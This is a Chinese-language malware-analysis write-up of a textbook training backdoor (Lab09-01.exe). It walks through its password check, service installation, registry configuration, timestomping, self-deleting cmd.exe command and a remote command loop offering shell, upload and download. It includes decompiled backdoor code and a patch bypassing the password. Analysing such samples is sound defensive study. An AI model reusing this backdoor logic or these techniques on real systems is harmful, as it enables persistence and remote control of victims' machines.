加密后门的木马分析

详细分析

本文首发于跳跳糖社区,原文链接: https://tttang.com/archive/1342/

0x00 前言

样本地址:https://github.com/0range-x/Virus-sample/blob/master/Chapter_9L/Lab09-01.exe
是书中的一个案例样本,木马加了启动参数,还有启动密码,尝试分析木马的功能和行为

首先crack掉木马的启动密码,根据不同的启动参数分析木马的不同功能,最终建立socket通信。

0x01 大致浏览

按照惯例,先看下导入表,有很多导入函数

1
2
3
4
5
6
7
8
9
10
11
OpenSCManagerA:建立与服务控制管理器的连接,并打开指定的服务控制管理器数据库
OpenServiceA: 打开一个已存在的服务
ChangeServiceConfigA:更改服务的配置参数
CloseServiceHandle:关闭指向服务控制管理对象的句柄,也可能是指向服务对象的句柄
CreateServiceA:创建服务对象并将其添加到指定的服务控制管理器数据库
RegDeleteValueA:删除注册表中的键值
RegCreateKeyExA:创建指定的注册表项。如果键已经存在,函数将打开它
RegSetValueExA:设置注册表键值的数据和类型
RegOpenKeyExA:打开指定的注册表项
RegQueryValueExA:检索与开放注册表键关联的指定值名称的类型和数据。与RegOpenKeyExA功能类似
DeleteService:从服务控制管理器数据库中删除的指定服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

.text:0040101B call ds:RegOpenKeyExA
.text:0040103A call ds:RegQueryValueExA
.text:0040104D call ds:CloseHandle

.text:004011A8 call ds:RegCreateKeyExA
.text:004011D5 call ds:RegSetValueExA
.text:004011E6 call ds:CloseHandle

.text:00401233 call ds:RegCreateKeyExA
.text:0040124D call ds:RegDeleteValueA
.text:00401260 call ds:CloseHandle

.text:004012AE call ds:RegOpenKeyExA
.text:004012DD call ds:RegQueryValueExA
.text:004012F9 call ds:CloseHandle

.text:004014FC call ds:CreateFileA
.text:00401525 call ds:GetFileTime

.text:00401560 call ds:CreateFileA
.text:00401579 call ds:SetFileTime

.text:004015C8 call ds:GetSystemDirectoryA

.text:0040165E call ds:WSAStartup
.text:00401676 call ds:gethostbyname
.text:0040168B call ds:WSACleanup
.text:004016A1 call ds:socket
.text:004016B4 call ds:WSACleanup
.text:004016E2 call ds:htons
.text:004016FE call ds:connect
.text:0040170F call ds:closesocket
.text:0040171E call ds:WSACleanup

.text:004017FA call ds:send

.text:004018B8 call ds:CreateFileA
.text:00401906 call ds:ReadFile
.text:00401910 call ds:GetLastError

.text:00401A65 call ds:recv
.text:00401A84 call ds:WriteFile

.text:004020C7 call ds:Sleep

.text:004026CC call ds:OpenSCManagerA
.text:004026FB call ds:OpenServiceA
.text:00402730 call ds:ChangeServiceConfigA
.text:00402741 call ds:CloseServiceHandle
.text:0040285E call ds:ExpandEnvironmentStringsA
.text:00402880 call ds:GetModuleFileNameA
.text:004028A1 call ds:CopyFileA

.text:00402915 call ds:OpenSCManagerA
.text:00402977 call ds:DeleteService
.text:00402988 call ds:CloseServiceHandl

.text:00405683 call ds:HeapReAlloc
.text:00408367 call ebp ; VirtualAllo
.text:00408428 call ds:VirtualFree
.text:0040843F call ds:HeapFree

ok,大概找一下这些函数的位置,为后面做准备

image-20211116095315886

1
ShellExecuteA: 运行一个外部程序,或者打开一个已注册的文件、打开一个目录、打印文件等等功能,它可以打开电脑内的任何文件,也可以打开URL

下面的函数已经老生常谈了,建立socket通信使用

image-20211116095433324

大概猜测一下,这个程序做了什么呢?创建服务,修改注册表,建立通信,应该是个后门。

0x02 详细分析

前奏

找到main函数

image-20211117094657231

先拖到od里面

emmm?竟然是从403896开始?再看下调用堆栈,很明显,这里不是程序真正的入口,

image-20211116111303286

直到 403945处,显示终止,那么回去重新看

image-20211116111511180

在ida中发现它是对main函数的调用

image-20211116111640282

回到od,接着F7,step in -> 单步步入

来到这里,继续F7+F8一步步分析

image-20211116111836468

image-20211117095143083

f7单步进入 403945

这里才是函数的入口

image-20211117095438337

一步步看,F8,step->over,往上看看

前面主要是一些传参,push 字符串入栈

image-20211116112158064

402AFD处,对比arg(命令行参数的数量)是否为1,因为我们这里前面并没有指定任何参数,所以这里不跳转,继续执行,并且跳转到401000

image-20211116112320840

ok,回到前面402AFD处继续向下分析

402B08这里,执行test eax,eax,检测eax的值是不是0,因为前面 xor eax,eax后,所以eax是0,这里成功跳转到 402410

image-20211116114057640

因为这个函数比较长,无法完整截图,所以这里贴上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
.text:00402410                 push    ebp
.text:00402411 mov ebp, esp
.text:00402413 sub esp, 208h
.text:00402419 push ebx
.text:0040241A push esi
.text:0040241B push edi
.text:0040241C push 104h ; nSize
.text:00402421 lea eax, [ebp+Filename]
.text:00402427 push eax ; lpFilename
.text:00402428 push 0 ; hModule
.text:0040242A call ds:GetModuleFileNameA
.text:00402430 push 104h ; cchBuffer
.text:00402435 lea ecx, [ebp+Filename]
.text:0040243B push ecx ; lpszShortPath
.text:0040243C lea edx, [ebp+Filename]
.text:00402442 push edx ; lpszLongPath
.text:00402443 call ds:GetShortPathNameA
.text:00402449 mov edi, offset aCDel ; "/c del "
.text:0040244E lea edx, [ebp+Parameters]
.text:00402454 or ecx, 0FFFFFFFFh
.text:00402457 xor eax, eax
.text:00402459 repne scasb
.text:0040245B not ecx
.text:0040245D sub edi, ecx
.text:0040245F mov esi, edi
.text:00402461 mov eax, ecx
.text:00402463 mov edi, edx
.text:00402465 shr ecx, 2
.text:00402468 rep movsd
.text:0040246A mov ecx, eax
.text:0040246C and ecx, 3
.text:0040246F rep movsb
.text:00402471 lea edi, [ebp+Filename]
.text:00402477 lea edx, [ebp+Parameters]
.text:0040247D or ecx, 0FFFFFFFFh
.text:00402480 xor eax, eax
.text:00402482 repne scasb
.text:00402484 not ecx
.text:00402486 sub edi, ecx
.text:00402488 mov esi, edi
.text:0040248A mov ebx, ecx
.text:0040248C mov edi, edx
.text:0040248E or ecx, 0FFFFFFFFh
.text:00402491 xor eax, eax
.text:00402493 repne scasb
.text:00402495 add edi, 0FFFFFFFFh
.text:00402498 mov ecx, ebx
.text:0040249A shr ecx, 2
.text:0040249D rep movsd
.text:0040249F mov ecx, ebx
.text:004024A1 and ecx, 3
.text:004024A4 rep movsb
.text:004024A6 mov edi, offset aNul ; " >> NUL"
.text:004024AB lea edx, [ebp+Parameters]
.text:004024B1 or ecx, 0FFFFFFFFh
.text:004024B4 xor eax, eax
.text:004024B6 repne scasb
.text:004024B8 not ecx
.text:004024BA sub edi, ecx
.text:004024BC mov esi, edi
.text:004024BE mov ebx, ecx
.text:004024C0 mov edi, edx
.text:004024C2 or ecx, 0FFFFFFFFh
.text:004024C5 xor eax, eax
.text:004024C7 repne scasb
.text:004024C9 add edi, 0FFFFFFFFh
.text:004024CC mov ecx, ebx
.text:004024CE shr ecx, 2
.text:004024D1 rep movsd
.text:004024D3 mov ecx, ebx
.text:004024D5 and ecx, 3
.text:004024D8 rep movsb
.text:004024DA push 0 ; nShowCmd
.text:004024DC push 0 ; lpDirectory
.text:004024DE lea eax, [ebp+Parameters]
.text:004024E4 push eax ; lpParameters
.text:004024E5 push offset File ; "cmd.exe"
.text:004024EA push 0 ; lpOperation
.text:004024EC push 0 ; hwnd
.text:004024EE call ds:ShellExecuteA
.text:004024F4 push 0 ; Code
.text:004024F6 call _exit
.text:004024F6 sub_402410 endp

看到它调用GetModuleFileNameA获取当前可执行文件的路径,接着调用GetShortPathNameA函数获取缩写的全路径字符串,构造完整的字符串即/c del path-to-executable >>NUL,下面调用ShellExecuteA函数打开cmd命令行,参数是前面构造的字符串,即从硬盘中删除自己。因为在od中已经打开了该文件,当然是删除失败的。

因为filename在栈空间,载入内存才直到它是什么。

先找到 ebp寄存器的地址,再减去208h

image-20211117104049309

但是因为我对od使用不熟悉,ebp没有找到有用的东西。™的在ecx中找到了…,其实也可以对应上,调用GetModuleFilenameA后,filename会赋值给ecx,也算是找到了当前路径。

那就可以结合ida中的字符串,拼接一下cmd.exe /c del c:\Users\adninistrator\Desktop\BinaryCollection\Chapter_9L\Lab09-01-cracked.exe>>NUL 即删除自身

image-20211117113544736

命令行选项 地址 行为
-in 0x402600 安装服务
-re 0x402900 卸载服务
-c 0x401070 设置注册表配置键
-cc 0x401280 打印注册表配置键

在main函数中,不难找到几处对__mbscmp函数的调用,整理下该函数调用的参数

image-20211117111630925

-in

下一步应该是为了让这个程序能正常运行。这里给程序启动添加个参数,使其正常运行。修改注册表的代码路径应该也是可以的,但是修改注册表属于高危操作,很容易产生意外后果,所以这里先添加启动参数试试,这样就满足了402AFD的cmp,

image-20211116121130243

添加 -in参数试试,这里为什么添加 -in参数,可以跳转到 0x03 命令行分析

image-20211116121243071

看到还是会跳到 402410,尝试删除自己,那说明我们添加的参数没起作用啊

image-20211116121949288

402B2E处,最后一个命令行参数被传入到 402510处,这是最后一个参数,因为C程序的main函数只有两个参数: argc和argv,argc是参数的个数,argv是指向命令行参数的一个指针。EAX包含argc,ECX包含argv。在402B23处,ecx+eax*4-4这个指针选择命令行参数数组中的最后一个元素,最后在 eax中,并且在函数调用之前push入栈

image-20211116143954688

接着往下,来到402B2E处,函数调用 402510

image-20211116145310014

在ida中看看,很奇怪,这里没有函数调用,只有一系列算术操作。add/xor/cmp/,检查输入得到是否是4个字符,如果是的话,跳转到40252D处,而这里,又开始和字符‘a’进行比较,顺着往下全面分析的话,可以看出它检验输入的字符是不是 abcd,很明显,这里做了密码校验。到这里就可以猜测,添加了命令行参数仍然跳转的原因,因为做了密码校验。

f5看下反汇编,这里我就直接贴代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BOOL __cdecl sub_402510(int a1)
{
BOOL result; // eax
char v2; // [esp+4h] [ebp-4h]
char v3; // [esp+4h] [ebp-4h]

if ( strlen((const char *)a1) != 4 ) //校验4位长度
return 0;
if ( *(_BYTE *)a1 != 97 ) //a
return 0;
v2 = *(_BYTE *)(a1 + 1) - *(_BYTE *)a1; //b
if ( v2 != 1 )
return 0;
v3 = 99 * v2;
if ( v3 == *(char *)(a1 + 2) ) //c
result = (char)(v3 + 1) == *(char *)(a1 + 3); //d
else
result = 0;
return result;
}

进入402510调试

可以看到返回值是0,因为密码校验错误嘛,输入的不是 abcd,

image-20211117114542540

这里直接修改寄存器的返回值,

image-20211117115033632

image-20211117115200115

image-20211117115243204

接着看 在调用GetModuleFileNameA后,接着调用了splitpath函数来获取当前文件路径

image-20211117145158822

接着往下,alloca_probe是在栈空间申请内存的函数,sub_4025B0我们知道是一个截取文件路径的函数,402632看来是先取一下system32目录。

image-20211117150722663

继续续调试,进入 4026cc,来ida中看

image-20211116172953326

调用OpenSCManagerA,打开一个服务管理器,创建一个服务,并添加进启动项,并且将自己复制到 %SYSTEMROOT%\\system32\\xxx,即写进system32目录

image-20211116173821127

要想知道启动的什么服务的话,只能在内存中看,这里很明显,启动的服务是自己

image-20211117152044299

接着在下面调用ChangeServiceConfigA函数,可以看下它的参数。

image-20211117153003646

接着跳着就跳出了main函数,就shutdown了?? 这里注意到,这些函数只是打开并且安装服务,但是并没有创建服务,因为我们没找到CreateServiceA函数,按理来说创建服务的话,应该都是有这个函数的。

image-20211117153851502

我们看到ida里是有这个函数的。这里在od中没出现是因为,在调试的过程中,step in很多次,已经创建了该服务,所以od没有进入该函数。

image-20211117153921844

image-20211117154049962

继续看。在40380F处调用 __mbscmp函数

image-20211116172003090

这是一个选择循环结构,根据__mbscmp函数的匹配结果来决定执行语句

image-20211116172353688

4015B0处的GetSystemDirectory,这个函数能取得Windows系统目录(System目录)的完整路径名。在这个目录中,包含了所有必要的系统文件。根据微软的标准,其他定制控件和一些共享组件也可放到这个目录。通常应避免在这个目录里创建文件。在网络环境中,往往需要管理员权限才可对这个目录进行写操作。

这个函数主要是用来修改 复制文件、访问和最后变化的时间戳,来与Kernel32.dll保持一致。这个修改时间戳来和其他文件保持一致的技术叫timestomping,网上也有打包好的工具,自己写也很简单。

image-20211116173949704

这里 4011A8创建注册表项HKLM\SOFTWARE\Microsoft \\xps,空格是为了让它显示更独特,可以看出是受感染的主机。接着在 4011BE处,edx寄存器指向 Data缓冲区,用来存储注册表项下 名为Configuration的键值。但是缓冲区的内容是什么呢?我们在4011BE处设置断点,然后F9进入执行,查看寄存器EDX的值,就可以看到加载到内存中的字符串。

image-20211116180114934

进入ShellExecuteA处,删除自身,接着退出程序

image-20211117171453200

-re

传参改为-re继续调试

image-20211117155145688

一步步step in

又是402510,这里前面已经分析过,是进行密码校验,

image-20211117155443290

go on ,这里有一个402900,看看

image-20211117155628148

调用了DeleteService函数,删除指定的服务

image-20211117155715725

可以看出是将自己删除了

image-20211117155916159

继续

后面调用了ExpandEnvironmentStringsA函数,扩展环境可变字符串,并将其替换为当前用户定义的值,这里就是将该字符串替换为空,

image-20211117160129452

删除自己

image-20211117160405653

接着就结束了,这是re的功能:删除服务并且删除自身文件

-c

image-20211117160524042

这里注意刚刚执行-re的时候已经删除了服务,所以要先执行-in 来安装服务,这里也是找到了前面没发现的CreateServiceA函数

image-20211117160800094

这里就直接挑关键的分析

一路f7,来到这里就可以确定是目的地了

image-20211117161510708

大概看一看这个函数的功能,发现跳转了4个地址,逐个看看

image-20211117161739076

402cd9这里应该就是检验输入的字符串是不是-cc,

image-20211117162149075

402ccf这里判断参数个数是否为7

image-20211117162356923

401070这里可以看到就是对注册表的操作了

image-20211117163119830

调用RegOpenKeyExA,尝试打开注册表项 HKLM\SOFTWARE\Microsoft \ \XPS

image-20211117095906406

image-20211116113808502

对-c 参数的分析就到这里,可以清楚它的功能是设置注册表项。

-cc

image-20211117172231871

看到它调用的参数,401028这里。调用RegQueryValueExA函数,读取配置注册表的键值内容,并且将读取的数值放在缓冲区中,

image-20211117172440164

在od中可以直接查看调用的参数

image-20211117172810303

查询注册表项的配置文件

image-20211117172934212

再来到ida中看细节,单步跟进,这里我浪费了很长时间,一点点看细节没有收获,直接跳到最后看函数返回值

image-20211117173449780

看样子像字符串拼接,和printf类似,跳转到call的地址

image-20211117173633852

f5看下反汇编,看来就是printf输出打印

image-20211117173830307

打印一下试试,果然,不过这些字符串,有域名,其他的看着像端口什么的。

image-20211117174117602

ok,-cc命令的作用就到这里,读取注册表中的项的内容并输出。

无参

又回到了401000,往下找,跳到 432060

image-20211117175420932

f5反汇编,一直在while循环,但是并没有终止条件。

image-20211117175456369

来到401640,终于建立网络连接了,但是我机器断网的原因,这里返回false

image-20211117231628485

调用send函数,传入的参数是buf,即之前获取的注册表配置信息

image-20211117231732413

后面还有个recv函数,用来接收信息,接着做了一个比较,判断长度是否小于0,如果是,跳转到401CAD中,否则继续执行,跳转到

image-20211117232340334

跳转到401F10处,调用了strstr,用来匹配字符串

image-20211117233653687

401E60处的伪代码,可以结合上面的分析来总结下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl sub_401E60(char *a1, int a2)
{
u_short hostshort[2]; // [esp+8h] [ebp-1424h] BYREF
char name[1024]; // [esp+Ch] [ebp-1420h] BYREF
char *v5; // [esp+40Ch] [ebp-1020h]
int v6; // [esp+410h] [ebp-101Ch] BYREF
char *v7; // [esp+414h] [ebp-1018h]
int v8[4]; // [esp+418h] [ebp-1014h] BYREF
char *v9; // [esp+428h] [ebp-1004h]
char Str[4096]; // [esp+42Ch] [ebp-1000h] BYREF

v6 = 4096;
if ( sub_401420(name, 1024) ) //获取并截取注册表
return 1;
if ( sub_401470(hostshort) ) //获取注册表键
return 1;
if ( sub_401D80(v8) ) //延时
return 1;
if ( sub_401AF0(name, hostshort[0], (int)v8, Str, (int)&v6) ) //建立socket通信并recv
return 1;
v9 = strstr(Str, asc_40C090); //匹配字符串
if ( !v9 )
return 1;
v5 = v9;
v9 = strstr(v9, asc_40C088);
if ( !v9 )
return 1;
v7 = v9;
if ( v9 - v5 + 1 > a2 )
return 1;
qmemcpy(a1, &v5[strlen(asc_40C090)], v7 - v5 - strlen(asc_40C090));
a1[v7 - v5 - strlen(asc_40C090)] = 0;
return 0;
}

主要的功能就是用来获取字符串,如果获取成功,进入40204c,发现了sleep,upload等字样,f5看下伪代码

image-20211117234434791

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __cdecl sub_402020(char *name)
{
char *v2; // eax
char *v3; // eax
char *v4; // eax
u_short hostshort; // [esp+4h] [ebp-424h]
FILE *Stream; // [esp+8h] [ebp-420h]
const char *Command; // [esp+Ch] [ebp-41Ch]
u_short v8; // [esp+10h] [ebp-418h]
char *lpFileName; // [esp+14h] [ebp-414h]
u_short v10; // [esp+18h] [ebp-410h]
char *v11; // [esp+1Ch] [ebp-40Ch]
const char *String; // [esp+20h] [ebp-408h]
int v13; // [esp+24h] [ebp-404h]
char Str1[1024]; // [esp+28h] [ebp-400h] BYREF

if ( sub_401E60(Str1, 1024) )
return 1;
if ( !strncmp(Str1, Str2, strlen(Str2)) )
{
strtok(Str1, Delimiter);
String = strtok(0, Delimiter);
v13 = atoi(String);
Sleep(1000 * v13);
}
else if ( !strncmp(Str1, aUpload, strlen(aUpload)) )
{
strtok(Str1, Delimiter);
v2 = strtok(0, Delimiter);
v10 = atoi(v2);
v11 = strtok(0, Delimiter);
if ( sub_4019E0(name, v10, v11) )
return 1;
}
else if ( !strncmp(Str1, aDownload, strlen(aDownload)) )
{
strtok(Str1, Delimiter);
v3 = strtok(0, Delimiter);
v8 = atoi(v3);
lpFileName = strtok(0, Delimiter);
if ( sub_401870(name, v8, lpFileName) )
return 1;
}
else if ( !strncmp(Str1, aCmd_0, strlen(aCmd_0)) )
{
strtok(Str1, Delimiter);
v4 = strtok(0, Delimiter);
hostshort = atoi(v4);
Command = strtok(0, asc_40C0A4);
Stream = _popen(Command, Mode);
if ( !Stream )
return 1;
if ( sub_401790(name, hostshort, Stream) )
{
_pclose(Stream);
return 1;
}
_pclose(Stream);
}
else
{
strncmp(Str1, aNothing, strlen(aNothing));
}
return 0;
}

几个关键点

命令 地址 字符串命令格式 行为
sleep 402076 sleep secs sleep
upload 4019e0 upload port filename 通过端口port连接远程主机并读取内容,然后在本地创建filename文件
download 401870 download port filename 读取文件filename并且通过端口port发送到远程主机
cmd 402268 cmd port command 用cmd命令行运行shell命令,通过端口将输出发送到远程主机
nothing 402356 nothing 无操作

很明显,这里实现了后门的功能。但是还有一点,uploaddownload的功能好像与名称相反emm???还是不要纠结名字了吧。

跳转到401b35,出现了get请求,http协议,请求http://www.practicalmalwareanalysis.com的80端口。

image-20211118000720718

另一种crack密码abcd姿势

另一种修改的方法。

先反汇编下指令。直接填充

1
2
B8 01 00 00 00 			mov eax,0x1
C3 ret

由于call指令准备堆栈,而RET指令负责清理栈,我们可以覆盖密码检查函数的开头指令 402510处。

编辑下二进制文件,binary,edit。

因为我们想在原来只占1字节的空间写入6个字节的指令,所以这里不选保持大小,

image-20211116154949368

修改成功后

image-20211116155018687

右键复制到可执行文件,全部复制

image-20211116155617453

image-20211116155805936

检查下函数是否被成功禁用,使用命令参数-in重新调试。在402510处bypass,最后跳转到 402B3F。六条指令后,指向第一个命令行的参数的指针被push入栈,紧接着指向另外字符串(-in)的一个指针。

image-20211116161003640

image-20211116161751006

image-20211116164950265

0x03 总结

这个样本大致功能就可以看出,反向连接远程服务器,实现后门。其中几个命令行参数,安装/配置/删除等等,需要首先crack密码“abcd”。在程序运行时,首先将自己复制到 system32目录,创建服务并自启,然后删除自己。安装后,该程序会读取注册表的配置信息,get请求远程服务,通过socket套接字,建立连接。

反思: 这篇文章到了后面逻辑显得不是那么清晰,看出对od和ida的熟练度有待提高。希望下篇文章可以进步更多。

Peace.